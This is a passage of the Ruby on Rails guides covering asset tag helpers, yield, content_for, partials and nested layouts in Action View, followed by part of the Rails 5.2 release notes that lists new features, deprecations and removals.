You can use these tags in layouts or other views, although the `auto_discovery_link_tag`, `javascript_include_tag`, and `stylesheet_link_tag`, are most commonly used in the `<head>` section of a layout.

The asset tag helpers do *not* verify the existence of the assets at the specified locations; they simply assume that you know what you're doing and generate the link.

#### [3.1.1. Linking to Feeds with the `auto_discovery_link_tag`](#linking-to-feeds-with-the-auto-discovery-link-tag)

The [`auto_discovery_link_tag`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/AssetTagHelper.html#method-i-auto_discovery_link_tag) helper builds HTML that most browsers and feed readers can use to detect the presence of RSS, Atom, or JSON feeds. It takes the type of the link (`:rss`, `:atom`, or `:json`), a hash of options that are passed through to url\_for, and a hash of options for the tag:

```
<%= auto_discovery_link_tag(:rss, {action: "feed"},
  {title: "RSS Feed"}) %>
```

There are three tag options available for the `auto_discovery_link_tag`:

* `:rel` specifies the `rel` value in the link. The default value is "alternate".
* `:type` specifies an explicit MIME type. Rails will generate an appropriate MIME type automatically.
* `:title` specifies the title of the link. The default value is the uppercase `:type` value, for example, "ATOM" or "RSS".

#### [3.1.2. Linking to JavaScript Files with the `javascript_include_tag`](#linking-to-javascript-files-with-the-javascript-include-tag)

The [`javascript_include_tag`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/AssetTagHelper.html#method-i-javascript_include_tag) helper returns an HTML `script` tag for each source provided.

If you are using Rails with the [Asset Pipeline](asset_pipeline.html) enabled, this helper will generate a link to `/assets/javascripts/` rather than `public/javascripts` which was used in earlier versions of Rails. This link is then served by the asset pipeline.

A JavaScript file within a Rails application or Rails engine goes in one of three locations: `app/assets`, `lib/assets` or `vendor/assets`. These locations are explained in detail in the [Asset Organization section in the Asset Pipeline Guide](asset_pipeline.html#asset-organization).

You can specify a full path relative to the document root, or a URL, if you prefer. For example, to link to a JavaScript file `main.js` that is inside one of `app/assets/javascripts`, `lib/assets/javascripts` or `vendor/assets/javascripts`, you would do this:

```
<%= javascript_include_tag "main" %>
```

Rails will then output a `script` tag such as this:

```
<script src='/assets/main.js'></script>
```

The request to this asset is then served by the Sprockets gem.

To include multiple files such as `app/assets/javascripts/main.js` and `app/assets/javascripts/columns.js` at the same time:

```
<%= javascript_include_tag "main", "columns" %>
```

To include `app/assets/javascripts/main.js` and `app/assets/javascripts/photos/columns.js`:

```
<%= javascript_include_tag "main", "/photos/columns" %>
```

To include `http://example.com/main.js`:

```
<%= javascript_include_tag "http://example.com/main.js" %>
```

#### [3.1.3. Linking to CSS Files with the `stylesheet_link_tag`](#linking-to-css-files-with-the-stylesheet-link-tag)

The [`stylesheet_link_tag`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/AssetTagHelper.html#method-i-stylesheet_link_tag) helper returns an HTML `<link>` tag for each source provided.

If you are using Rails with the "Asset Pipeline" enabled, this helper will generate a link to `/assets/stylesheets/`. This link is then processed by the Sprockets gem. A stylesheet file can be stored in one of three locations: `app/assets`, `lib/assets`, or `vendor/assets`.

You can specify a full path relative to the document root, or a URL. For example, to link to a stylesheet file that is inside a directory called `stylesheets` inside of one of `app/assets`, `lib/assets`, or `vendor/assets`, you would do this:

```
<%= stylesheet_link_tag "main" %>
```

To include `app/assets/stylesheets/main.css` and `app/assets/stylesheets/columns.css`:

```
<%= stylesheet_link_tag "main", "columns" %>
```

To include `app/assets/stylesheets/main.css` and `app/assets/stylesheets/photos/columns.css`:

```
<%= stylesheet_link_tag "main", "photos/columns" %>
```

To include `http://example.com/main.css`:

```
<%= stylesheet_link_tag "http://example.com/main.css" %>
```

By default, the `stylesheet_link_tag` creates links with `rel="stylesheet"`. You can override this default by specifying an appropriate option (`:rel`):

```
<%= stylesheet_link_tag "main_print", media: "print" %>
```

#### [3.1.4. Linking to Images with the `image_tag`](#linking-to-images-with-the-image-tag)

The [`image_tag`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/AssetTagHelper.html#method-i-image_tag) helper builds an HTML `<img />` tag to the specified file. By default, files are loaded from `public/images`.

Note that you must specify the extension of the image.

```
<%= image_tag "header.png" %>
```

You can supply a path to the image if you like:

```
<%= image_tag "icons/delete.gif" %>
```

You can supply a hash of additional HTML options:

```
<%= image_tag "icons/delete.gif", {height: 45} %>
```

You can supply alternate text for the image which will be used if the user has images turned off in their browser. If you do not specify an alt text explicitly, it defaults to the file name of the file, capitalized and with no extension. For example, these two image tags would return the same code:

```
<%= image_tag "home.gif" %>
<%= image_tag "home.gif", alt: "Home" %>
```

You can also specify a special size tag, in the format "{width}x{height}":

```
<%= image_tag "home.gif", size: "50x20" %>
```

In addition to the above special tags, you can supply a final hash of standard HTML options, such as `:class`, `:id`, or `:name`:

```
<%= image_tag "home.gif", alt: "Go Home",
                          id: "HomeImage",
                          class: "nav_bar" %>
```

#### [3.1.5. Linking to Videos with the `video_tag`](#linking-to-videos-with-the-video-tag)

The [`video_tag`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/AssetTagHelper.html#method-i-video_tag) helper builds an HTML5 `<video>` tag to the specified file. By default, files are loaded from `public/videos`.

```
<%= video_tag "movie.ogg" %>
```

Produces

```
<video src="/videos/movie.ogg" />
```

Like an `image_tag` you can supply a path, either absolute, or relative to the `public/videos` directory. Additionally you can specify the `size: "#{width}x#{height}"` option just like an `image_tag`. Video tags can also have any of the HTML options specified at the end (`id`, `class` et al).

The video tag also supports all of the `<video>` HTML options through the HTML options hash, including:

* `poster: "image_name.png"`, provides an image to put in place of the video before it starts playing.
* `autoplay: true`, starts playing the video on page load.
* `loop: true`, loops the video once it gets to the end.
* `controls: true`, provides browser supplied controls for the user to interact with the video.
* `autobuffer: true`, the video will pre load the file for the user on page load.

You can also specify multiple videos to play by passing an array of videos to the `video_tag`:

```
<%= video_tag ["trailer.ogg", "movie.ogg"] %>
```

This will produce:

```
<video>
  <source src="/videos/trailer.ogg">
  <source src="/videos/movie.ogg">
</video>
```

#### [3.1.6. Linking to Audio Files with the `audio_tag`](#linking-to-audio-files-with-the-audio-tag)

The [`audio_tag`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/AssetTagHelper.html#method-i-audio_tag) helper builds an HTML5 `<audio>` tag to the specified file. By default, files are loaded from `public/audios`.

```
<%= audio_tag "music.mp3" %>
```

You can supply a path to the audio file if you like:

```
<%= audio_tag "music/first_song.mp3" %>
```

You can also supply a hash of additional options, such as `:id`, `:class`, etc.

Like the `video_tag`, the `audio_tag` has special options:

* `autoplay: true`, starts playing the audio on page load
* `controls: true`, provides browser supplied controls for the user to interact with the audio.
* `autobuffer: true`, the audio will pre load the file for the user on page load.

### [3.2. Understanding `yield`](#understanding-yield)

Within the context of a layout, `yield` identifies a section where content from the view should be inserted. The simplest way to use this is to have a single `yield`, into which the entire contents of the view currently being rendered is inserted:

```
<html>
  <head>
  </head>
  <body>
    <%= yield %>
  </body>
</html>
```

You can also create a layout with multiple yielding regions:

```
<html>
  <head>
    <%= yield :head %>
  </head>
  <body>
    <%= yield %>
  </body>
</html>
```

The main body of the view will always render into the unnamed `yield`. To render content into a named `yield`, call the `content_for` method with the same argument as the named `yield`.

Newly generated applications will include `<%= yield :head %>` within the `<head>` element of its `app/views/layouts/application.html.erb` template.

### [3.3. Using the `content_for` Method](#using-the-content-for-method)

The [`content_for`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/CaptureHelper.html#method-i-content_for) method allows you to insert content into a named `yield` block in your layout. For example, this view would work with the layout that you just saw:

```
<% content_for :head do %>
  <title>A simple page</title>
<% end %>

<p>Hello, Rails!</p>
```

The result of rendering this page into the supplied layout would be this HTML:

```
<html>
  <head>
    <title>A simple page</title>
  </head>
  <body>
    <p>Hello, Rails!</p>
  </body>
</html>
```

The `content_for` method is very helpful when your layout contains distinct regions such as sidebars and footers that should get their own blocks of content inserted. It's also useful for inserting page-specific JavaScript `<script>` elements, CSS `<link>` elements, context-specific `<meta>` elements, or any other elements into the `<head>` of an otherwise generic layout.

### [3.4. Using Partials](#using-partials)

Partial templates - usually just called "partials" - are another device for breaking the rendering process into more manageable chunks. With a partial, you can move the code for rendering a particular piece of a response to its own file.

#### [3.4.1. Naming Partials](#naming-partials)

To render a partial as part of a view, you use the [`render`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/RenderingHelper.html#method-i-render) method within the view:

```
<%= render "menu" %>
```

This will render a file named `_menu.html.erb` at that point within the view being rendered. Note the leading underscore character: partials are named with a leading underscore to distinguish them from regular views, even though they are referred to without the underscore. This holds true even when you're pulling in a partial from another folder:

```
<%= render "application/menu" %>
```

Since view partials rely on the same [Template Inheritance](#template-inheritance) as templates and layouts, that code will pull in the partial from `app/views/application/_menu.html.erb`.

#### [3.4.2. Using Partials to Simplify Views](#using-partials-to-simplify-views)

One way to use partials is to treat them as the equivalent of subroutines: as a way to move details out of a view so that you can grasp what's going on more easily. For example, you might have a view that looked like this:

```
<%= render "application/ad_banner" %>

<h1>Products</h1>

<p>Here are a few of our fine products:</p>
<%# ... %>

<%= render "application/footer" %>
```

Here, the `_ad_banner.html.erb` and `_footer.html.erb` partials could contain content that is shared by many pages in your application. You don't need to see the details of these sections when you're concentrating on a particular page.

As seen in the previous sections of this guide, `yield` is a very powerful tool for cleaning up your layouts. Keep in mind that it's pure Ruby, so you can use it almost everywhere. For example, we can use it to DRY up form layout definitions for several similar resources:

* `users/index.html.erb`

  ```
  <%= render "application/search_filters", search: @q do |form| %>
    <p>
      Name contains: <%= form.text_field :name_contains %>
    </p>
  <% end %>
  ```

* `roles/index.html.erb`

  ```
  <%= render "application/search_filters", search: @q do |form| %>
    <p>
      Title contains: <%= form.text_field :title_contains %>
    </p>
  <% end %>
  ```

* `application/_search_filters.html.erb`

  ```
  <%= form_with model: search do |form| %>
    <h1>Search form:</h1>
    <fieldset>
      <%= yield form %>
    </fieldset>
    <p>
      <%= form.submit "Search" %>
    </p>
  <% end %>
  ```

For content that is shared among all pages in your application, you can use partials directly from layouts.

#### [3.4.3. Partial Layouts](#partial-layouts)

A partial can use its own layout file, just as a view can use a layout. For example, you might call a partial like this:

```
<%= render partial: "link_area", layout: "graybar" %>
```

This would look for a partial named `_link_area.html.erb` and render it using the layout `_graybar.html.erb`. Note that layouts for partials follow the same leading-underscore naming as regular partials, and are placed in the same folder with the partial that they belong to (not in the master `layouts` folder).

Also note that explicitly specifying `:partial` is required when passing additional options such as `:layout`.

#### [3.4.4. Passing Local Variables](#passing-local-variables)

You can also pass local variables into partials, making them even more powerful and flexible. For example, you can use this technique to reduce duplication between new and edit pages, while still keeping a bit of distinct content:

* `new.html.erb`

  ```
  <h1>New zone</h1>
  <%= render partial: "form", locals: {zone: @zone} %>
  ```

* `edit.html.erb`

  ```
  <h1>Editing zone</h1>
  <%= render partial: "form", locals: {zone: @zone} %>
  ```

* `_form.html.erb`

  ```
  <%= form_with model: zone do |form| %>
    <p>
      <b>Zone name</b><br>
      <%= form.text_field :name %>
    </p>
    <p>
      <%= form.submit %>
    </p>
  <% end %>
  ```

Although the same partial will be rendered into both views, Action View's submit helper will return "Create Zone" for the new action and "Update Zone" for the edit action.

To pass a local variable to a partial in only specific cases use the `local_assigns`.

* `index.html.erb`

  ```
  <%= render user.articles %>
  ```

* `show.html.erb`

  ```
  <%= render article, full: true %>
  ```

* `_article.html.erb`

  ```
  <h2><%= article.title %></h2>

  <% if local_assigns[:full] %>
    <%= simple_format article.body %>
  <% else %>
    <%= truncate article.body %>
  <% end %>
  ```

This way it is possible to use the partial without the need to declare all local variables.

Every partial also has a local variable with the same name as the partial (minus the leading underscore). You can pass an object in to this local variable via the `:object` option:

```
<%= render partial: "customer", object: @new_customer %>
```

Within the `customer` partial, the `customer` variable will refer to `@new_customer` from the parent view.

If you have an instance of a model to render into a partial, you can use a shorthand syntax:

```
<%= render @customer %>
```

Assuming that the `@customer` instance variable contains an instance of the `Customer` model, this will use `_customer.html.erb` to render it and will pass the local variable `customer` into the partial which will refer to the `@customer` instance variable in the parent view.

#### [3.4.5. Rendering Collections](#rendering-collections)

Partials are very useful in rendering collections. When you pass a collection to a partial via the `:collection` option, the partial will be inserted once for each member in the collection:

* `index.html.erb`

  ```
  <h1>Products</h1>
  <%= render partial: "product", collection: @products %>
  ```

* `_product.html.erb`

  ```
  <p>Product Name: <%= product.name %></p>
  ```

When a partial is called with a pluralized collection, then the individual instances of the partial have access to the member of the collection being rendered via a variable named after the partial. In this case, the partial is `_product`, and within the `_product` partial, you can refer to `product` to get the instance that is being rendered.

There is also a shorthand for this. Assuming `@products` is a collection of `Product` instances, you can simply write this in the `index.html.erb` to produce the same result:

```
<h1>Products</h1>
<%= render @products %>
```

Rails determines the name of the partial to use by looking at the model name in the collection. In fact, you can even create a heterogeneous collection and render it this way, and Rails will choose the proper partial for each member of the collection:

* `index.html.erb`

  ```
  <h1>Contacts</h1>
  <%= render [customer1, employee1, customer2, employee2] %>
  ```

* `customers/_customer.html.erb`

  ```
  <p>Customer: <%= customer.name %></p>
  ```

* `employees/_employee.html.erb`

  ```
  <p>Employee: <%= employee.name %></p>
  ```

In this case, Rails will use the customer or employee partials as appropriate for each member of the collection.

In the event that the collection is empty, `render` will return nil, so it should be fairly simple to provide alternative content.

```
<h1>Products</h1>
<%= render(@products) || "There are no products available." %>
```

#### [3.4.6. Local Variables](#local-variables)

To use a custom local variable name within the partial, specify the `:as` option in the call to the partial:

```
<%= render partial: "product", collection: @products, as: :item %>
```

With this change, you can access an instance of the `@products` collection as the `item` local variable within the partial.

You can also pass in arbitrary local variables to any partial you are rendering with the `locals: {}` option:

```
<%= render partial: "product", collection: @products,
           as: :item, locals: {title: "Products Page"} %>
```

In this case, the partial will have access to a local variable `title` with the value "Products Page".

#### [3.4.7. Counter Variables](#counter-variables)

Rails also makes a counter variable available within a partial called by the collection. The variable is named after the title of the partial followed by `_counter`. For example, when rendering a collection `@products` the partial `_product.html.erb` can access the variable `product_counter`. The variable indexes the number of times the partial has been rendered within the enclosing view, starting with a value of `0` on the first render.

```
# index.html.erb
<%= render partial: "product", collection: @products %>
```

```
# _product.html.erb
<%= product_counter %> # 0 for the first product, 1 for the second product...
```

This also works when the local variable name is changed using the `as:` option. So if you did `as: :item`, the counter variable would be `item_counter`.

#### [3.4.8. Spacer Templates](#spacer-templates)

You can also specify a second partial to be rendered between instances of the main partial by using the `:spacer_template` option:

```
<%= render partial: @products, spacer_template: "product_ruler" %>
```

Rails will render the `_product_ruler` partial (with no data passed in to it) between each pair of `_product` partials.

#### [3.4.9. Collection Partial Layouts](#collection-partial-layouts)

When rendering collections it is also possible to use the `:layout` option:

```
<%= render partial: "product", collection: @products, layout: "special_layout" %>
```

The layout will be rendered together with the partial for each item in the collection. The current object and object\_counter variables will be available in the layout as well, the same way they are within the partial.

### [3.5. Using Nested Layouts](#using-nested-layouts)

You may find that your application requires a layout that differs slightly from your regular application layout to support one particular controller. Rather than repeating the main layout and editing it, you can accomplish this by using nested layouts (sometimes called sub-templates). Here's an example:

Suppose you have the following `ApplicationController` layout:

* `app/views/layouts/application.html.erb`

  ```
  <html>
  <head>
    <title><%= @page_title or "Page Title" %></title>
    <%= stylesheet_link_tag "layout" %>
    <%= yield :head %>
  </head>
  <body>
    <div id="top_menu">Top menu items here</div>
    <div id="menu">Menu items here</div>
    <div id="content"><%= content_for?(:content) ? yield(:content) : yield %></div>
  </body>
  </html>
  ```

On pages generated by `NewsController`, you want to hide the top menu and add a right menu:

* `app/views/layouts/news.html.erb`

  ```
  <% content_for :head do %>
    <style>
      #top_menu {display: none}
      #right_menu {float: right; background-color: yellow; color: black}
    </style>
  <% end %>
  <% content_for :content do %>
    <div id="right_menu">Right menu items here</div>
    <%= content_for?(:news_content) ? yield(:news_content) : yield %>
  <% end %>
  <%= render template: "layouts/application" %>
  ```

That's it. The News views will use the new layout, hiding the top menu and adding a new right menu inside the "content" div.

There are several ways of getting similar results with different sub-templating schemes using this technique. Note that there is no limit in nesting levels. One can use the `ActionView::render` method via `render template: 'layouts/news'` to base a new layout on the News layout. If you are sure you will not subtemplate the `News` layout, you can replace the `content_for?(:news_content) ? yield(:news_content) : yield` with simply `yield`.

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/5_2_release_notes.html
----

***

## [1. Upgrading to Rails 5.2](#upgrading-to-rails-5-2)

If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 5.1 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 5.2. A list of things to watch out for when upgrading is available in the [Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-5-1-to-rails-5-2) guide.

## [2. Major Features](#major-features)

### [2.1. Active Storage](#active-storage)

[Pull Request](https://github.com/rails/rails/pull/30020)

[Active Storage](https://github.com/rails/rails/tree/5-2-stable/activestorage) facilitates uploading files to a cloud storage service like Amazon S3, Google Cloud Storage, or Microsoft Azure Storage and attaching those files to Active Record objects. It comes with a local disk-based service for development and testing and supports mirroring files to subordinate services for backups and migrations. You can read more about Active Storage in the [Active Storage Overview](active_storage_overview.html) guide.

### [2.2. Redis Cache Store](#redis-cache-store)

[Pull Request](https://github.com/rails/rails/pull/31134)

Rails 5.2 ships with built-in Redis cache store. You can read more about this in the [Caching with Rails: An Overview](caching_with_rails.html#activesupport-cache-rediscachestore) guide.

### [2.3. HTTP/2 Early Hints](#http-2-early-hints)

[Pull Request](https://github.com/rails/rails/pull/30744)

Rails 5.2 supports [HTTP/2 Early Hints](https://tools.ietf.org/html/rfc8297). To start the server with Early Hints enabled pass `--early-hints` to `bin/rails server`.

### [2.4. Credentials](#credentials)

[Pull Request](https://github.com/rails/rails/pull/30067)

Added `config/credentials.yml.enc` file to store production app secrets. It allows saving any authentication credentials for third-party services directly in repository encrypted with a key in the `config/master.key` file or the `RAILS_MASTER_KEY` environment variable. This will eventually replace `Rails.application.secrets` and the encrypted secrets introduced in Rails 5.1. Furthermore, Rails 5.2 [opens API underlying Credentials](https://github.com/rails/rails/pull/30940), so you can easily deal with other encrypted configurations, keys, and files. You can read more about this in the [Securing Rails Applications](security.html#custom-credentials) guide.

### [2.5. Content Security Policy](#content-security-policy)

[Pull Request](https://github.com/rails/rails/pull/31162)

Rails 5.2 ships with a new DSL that allows you to configure a [Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy) for your application. You can configure a global default policy and then override it on a per-resource basis and even use lambdas to inject per-request values into the header such as account subdomains in a multi-tenant application. You can read more about this in the [Securing Rails Applications](security.html#content-security-policy) guide.

## [3. Railties](#railties)

Please refer to the [Changelog](https://github.com/rails/rails/blob/5-2-stable/railties/CHANGELOG.md) for detailed changes.

### [3.1. Deprecations](#railties-deprecations)

* Deprecate `capify!` method in generators and templates. ([Pull Request](https://github.com/rails/rails/pull/29493))

* Passing the environment's name as a regular argument to the `rails dbconsole` and `rails console` commands is deprecated. The `-e` option should be used instead. ([Commit](https://github.com/rails/rails/commit/48b249927375465a7102acc71c2dfb8d49af8309))

* Deprecate using subclass of `Rails::Application` to start the Rails server. ([Pull Request](https://github.com/rails/rails/pull/30127))

* Deprecate `after_bundle` callback in Rails plugin templates. ([Pull Request](https://github.com/rails/rails/pull/29446))

### [3.2. Notable changes](#railties-notable-changes)

* Added a shared section to `config/database.yml` that will be loaded for all environments. ([Pull Request](https://github.com/rails/rails/pull/28896))

* Add `railtie.rb` to the plugin generator. ([Pull Request](https://github.com/rails/rails/pull/29576))

* Clear screenshot files in `tmp:clear` task. ([Pull Request](https://github.com/rails/rails/pull/29534))

* Skip unused components when running `bin/rails app:update`. If the initial app generation skipped Action Cable, Active Record, etc., the update task honors those skips too. ([Pull Request](https://github.com/rails/rails/pull/29645))

* Allow passing a custom connection name to the `rails dbconsole` command when using a 3-level database configuration. Example: `bin/rails dbconsole -c replica`. ([Commit](https://github.com/rails/rails/commit/1acd9a6464668d4d54ab30d016829f60b70dbbeb))

* Properly expand shortcuts for environment's name running the `console` and `dbconsole` commands. ([Commit](https://github.com/rails/rails/commit/3777701f1380f3814bd5313b225586dec64d4104))

* Add `bootsnap` to default `Gemfile`. ([Pull Request](https://github.com/rails/rails/pull/29313))

* Support `-` as a platform-agnostic way to run a script from stdin with `rails runner` ([Pull Request](https://github.com/rails/rails/pull/26343))

* Add `ruby x.x.x` version to `Gemfile` and create `.ruby-version` root file containing the current Ruby version when new Rails applications are created. ([Pull Request](https://github.com/rails/rails/pull/30016))

* Add `--skip-action-cable` option to the plugin generator. ([Pull Request](https://github.com/rails/rails/pull/30164))

* Add `git_source` to `Gemfile` for plugin generator. ([Pull Request](https://github.com/rails/rails/pull/30110))

* Skip unused components when running `bin/rails` in Rails plugin. ([Commit](https://github.com/rails/rails/commit/62499cb6e088c3bc32a9396322c7473a17a28640))

* Optimize indentation for generator actions. ([Pull Request](https://github.com/rails/rails/pull/30166))

* Optimize routes indentation. ([Pull Request](https://github.com/rails/rails/pull/30241))

* Add `--skip-yarn` option to the plugin generator. ([Pull Request](https://github.com/rails/rails/pull/30238))

* Support multiple versions arguments for `gem` method of Generators. ([Pull Request](https://github.com/rails/rails/pull/30323))

* Derive `secret_key_base` from the app name in development and test environments. ([Pull Request](https://github.com/rails/rails/pull/30067))

* Add `mini_magick` to default `Gemfile` as comment. ([Pull Request](https://github.com/rails/rails/pull/30633))

* `rails new` and `rails plugin new` get `Active Storage` by default. Add ability to skip `Active Storage` with `--skip-active-storage` and do so automatically when `--skip-active-record` is used. ([Pull Request](https://github.com/rails/rails/pull/30101))

## [4. Action Cable](#action-cable)

Please refer to the [Changelog](https://github.com/rails/rails/blob/5-2-stable/actioncable/CHANGELOG.md) for detailed changes.

### [4.1. Removals](#action-cable-removals)

* Removed deprecated evented redis adapter. ([Commit](https://github.com/rails/rails/commit/48766e32d31651606b9f68a16015ad05c3b0de2c))

### [4.2. Notable changes](#action-cable-notable-changes)

* Add support for `host`, `port`, `db` and `password` options in cable.yml ([Pull Request](https://github.com/rails/rails/pull/29528))

* Hash long stream identifiers when using PostgreSQL adapter. ([Pull Request](https://github.com/rails/rails/pull/29297))

## [5. Action Pack](#action-pack)

Please refer to the [Changelog](https://github.com/rails/rails/blob/5-2-stable/actionpack/CHANGELOG.md) for detailed changes.

### [5.1. Removals](#action-pack-removals)

* Remove deprecated `ActionController::ParamsParser::ParseError`. ([Commit](https://github.com/rails/rails/commit/e16c765ac6dcff068ff2e5554d69ff345c003de1))

### [5.2. Deprecations](#action-pack-deprecations)

* Deprecate `#success?`, `#missing?` and `#error?` aliases of `ActionDispatch::TestResponse`. ([Pull Request](https://github.com/rails/rails/pull/30104))

### [5.3. Notable changes](#action-pack-notable-changes)

* Add support for recyclable cache keys with fragment caching. ([Pull Request](https://github.com/rails/rails/pull/29092))

* Change the cache key format for fragments to make it easier to debug key churn. ([Pull Request](https://github.com/rails/rails/pull/29092))

* AEAD encrypted cookies and sessions with GCM. ([Pull Request](https://github.com/rails/rails/pull/28132))

* Protect from forgery by default. ([Pull Request](https://github.com/rails/rails/pull/29742))

* Enforce signed/encrypted cookie expiry server side. ([Pull Request](https://github.com/rails/rails/pull/30121))

* Cookies `:expires` option supports `ActiveSupport::Duration` object. ([Pull Request](https://github.com/rails/rails/pull/30121))

* Use Capybara registered `:puma` server config. ([Pull Request](https://github.com/rails/rails/pull/30638))

* Simplify cookies middleware with key rotation support. ([Pull Request](https://github.com/rails/rails/pull/29716))

* Add ability to enable Early Hints for HTTP/2. ([Pull Request](https://github.com/rails/rails/pull/30744))

* Add headless chrome support to System Tests. ([Pull Request](https://github.com/rails/rails/pull/30876))

* Add `:allow_other_host` option to `redirect_back` method. ([Pull Request](https://github.com/rails/rails/pull/30850))

* Make `assert_recognizes` to traverse mounted engines. ([Pull Request](https://github.com/rails/rails/pull/22435))

* Add DSL for configuring Content-Security-Policy header. ([Pull Request](https://github.com/rails/rails/pull/31162), [Commit](https://github.com/rails/rails/commit/619b1b6353a65e1635d10b8f8c6630723a5a6f1a), [Commit](https://github.com/rails/rails/commit/4ec8bf68ff92f35e79232fbd605012ce1f4e1e6e))

* Register most popular audio/video/font MIME types supported by modern browsers. ([Pull Request](https://github.com/rails/rails/pull/31251))

* Changed the default system test screenshot output from `inline` to `simple`. ([Commit](https://github.com/rails/rails/commit/9d6e288ee96d6241f864dbf90211c37b14a57632))

* Add headless firefox support to System Tests. ([Pull Request](https://github.com/rails/rails/pull/31365))

* Add secure `X-Download-Options` and `X-Permitted-Cross-Domain-Policies` to default headers set. ([Commit](https://github.com/rails/rails/commit/5d7b70f4336d42eabfc403e9f6efceb88b3eff44))

* Changed the system tests to set Puma as default server only when the user haven't specified manually another server. ([Pull Request](https://github.com/rails/rails/pull/31384))

* Add `Referrer-Policy` header to default headers set. ([Commit](https://github.com/rails/rails/commit/428939be9f954d39b0c41bc53d85d0d106b9d1a1))

* Matches behavior of `Hash#each` in `ActionController::Parameters#each`. ([Pull Request](https://github.com/rails/rails/pull/27790))

* Add support for automatic nonce generation for Rails UJS. ([Commit](https://github.com/rails/rails/commit/b2f0a8945956cd92dec71ec4e44715d764990a49))

* Update the default HSTS max-age value to 31536000 seconds (1 year) to meet the minimum max-age requirement for <https://hstspreload.org/>. ([Commit](https://github.com/rails/rails/commit/30b5f469a1d30c60d1fb0605e84c50568ff7ed37))

* Add alias method `to_hash` to `to_h` for `cookies`. Add alias method `to_h` to `to_hash` for `session`. ([Commit](https://github.com/rails/rails/commit/50a62499e41dfffc2903d468e8b47acebaf9b500))

## [6. Action View](#action-view)

Please refer to the [Changelog](https://github.com/rails/rails/blob/5-2-stable/actionview/CHANGELOG.md) for detailed changes.

### [6.1. Removals](#action-view-removals)

* Remove deprecated Erubis ERB handler. ([Commit](https://github.com/rails/rails/commit/7de7f12fd140a60134defe7dc55b5a20b2372d06))

### [6.2. Deprecations](#action-view-deprecations)

* Deprecate `image_alt` helper which used to add default alt text to the images generated by `image_tag`. ([Pull Request](https://github.com/rails/rails/pull/30213))

### [6.3. Notable changes](#action-view-notable-changes)

* Add `:json` type to `auto_discovery_link_tag` to support [JSON Feeds](https://jsonfeed.org/version/1). ([Pull Request](https://github.com/rails/rails/pull/29158))

* Add `srcset` option to `image_tag` helper. ([Pull Request](https://github.com/rails/rails/pull/29349))

* Fix issues with `field_error_proc` wrapping `optgroup` and select divider `option`. ([Pull Request](https://github.com/rails/rails/pull/31088))

* Change `form_with` to generate ids by default. ([Commit](https://github.com/rails/rails/commit/260d6f112a0ffdbe03e6f5051504cb441c1e94cd))

* Add `preload_link_tag` helper. ([Pull Request](https://github.com/rails/rails/pull/31251))

* Allow the use of callable objects as group methods for grouped selects. ([Pull Request](https://github.com/rails/rails/pull/31578))

## [7. Action Mailer](#action-mailer)

Please refer to the [Changelog](https://github.com/rails/rails/blob/5-2-stable/actionmailer/CHANGELOG.md) for detailed changes.

### [7.1. Notable changes](#action-mailer-notable-changes)

* Allow Action Mailer classes to configure their delivery job. ([Pull Request](https://github.com/rails/rails/pull/29457))

* Add `assert_enqueued_email_with` test helper. ([Pull Request](https://github.com/rails/rails/pull/30695))

## [8. Active Record](#active-record)

Please refer to the [Changelog](https://github.com/rails/rails/blob/5-2-stable/activerecord/CHANGELOG.md) for detailed changes.

### [8.1. Removals](#active-record-removals)

* Remove deprecated `#migration_keys`. ([Pull Request](https://github.com/rails/rails/pull/30337))

* Remove deprecated support to `quoted_id` when typecasting an Active Record object. ([Commit](https://github.com/rails/rails/commit/82472b3922bda2f337a79cef961b4760d04f9689))

* Remove deprecated argument `default` from `index_name_exists?`. ([Commit](https://github.com/rails/rails/commit/8f5b34df81175e30f68879479243fbce966122d7))

* Remove deprecated support to passing a class to `:class_name` on associations. ([Commit](https://github.com/rails/rails/commit/e65aff70696be52b46ebe57207ebd8bb2cfcdbb6))

* Remove deprecated methods `initialize_schema_migrations_table` and `initialize_internal_metadata_table`. ([Commit](https://github.com/rails/rails/commit/c9660b5777707658c414b430753029cd9bc39934))

* Remove deprecated method `supports_migrations?`. ([Commit](https://github.com/rails/rails/commit/9438c144b1893f2a59ec0924afe4d46bd8d5ffdd))

* Remove deprecated method `supports_primary_key?`. ([Commit](https://github.com/rails/rails/commit/c56ff22fc6e97df4656ddc22909d9bf8b0c2cbb1))

* Remove deprecated method `ActiveRecord::Migrator.schema_migrations_table_name`. ([Commit](https://github.com/rails/rails/commit/7df6e3f3cbdea9a0460ddbab445c81fbb1cfd012))

* Remove deprecated argument `name` from `#indexes`. ([Commit](https://github.com/rails/rails/commit/d6b779ecebe57f6629352c34bfd6c442ac8fba0e))

* Remove deprecated arguments from `#verify!`. ([Commit](https://github.com/rails/rails/commit/9c6ee1bed0292fc32c23dc1c68951ae64fc510be))

* Remove deprecated configuration `.error_on_ignored_order_or_limit`. ([Commit](https://github.com/rails/rails/commit/e1066f450d1a99c9a0b4d786b202e2ca82a4c3b3))

* Remove deprecated method `#scope_chain`. ([Commit](https://github.com/rails/rails/commit/ef7784752c5c5efbe23f62d2bbcc62d4fd8aacab))

* Remove deprecated method `#sanitize_conditions`. ([Commit](https://github.com/rails/rails/commit/8f5413b896099f80ef46a97819fe47a820417bc2))

### [8.2. Deprecations](#active-record-deprecations)

* Deprecate `supports_statement_cache?`. ([Pull Request](https://github.com/rails/rails/pull/28938))

* Deprecate passing arguments and block at the same time to `count` and `sum` in `ActiveRecord::Calculations`. ([Pull Request](https://github.com/rails/rails/pull/29262))

* Deprecate delegating to `arel` in `Relation`. ([Pull Request](https://github.com/rails/rails/pull/29619))

* Deprecate `set_state` method in `TransactionState`. ([Commit](https://github.com/rails/rails/commit/608ebccf8f6314c945444b400a37c2d07f21b253))

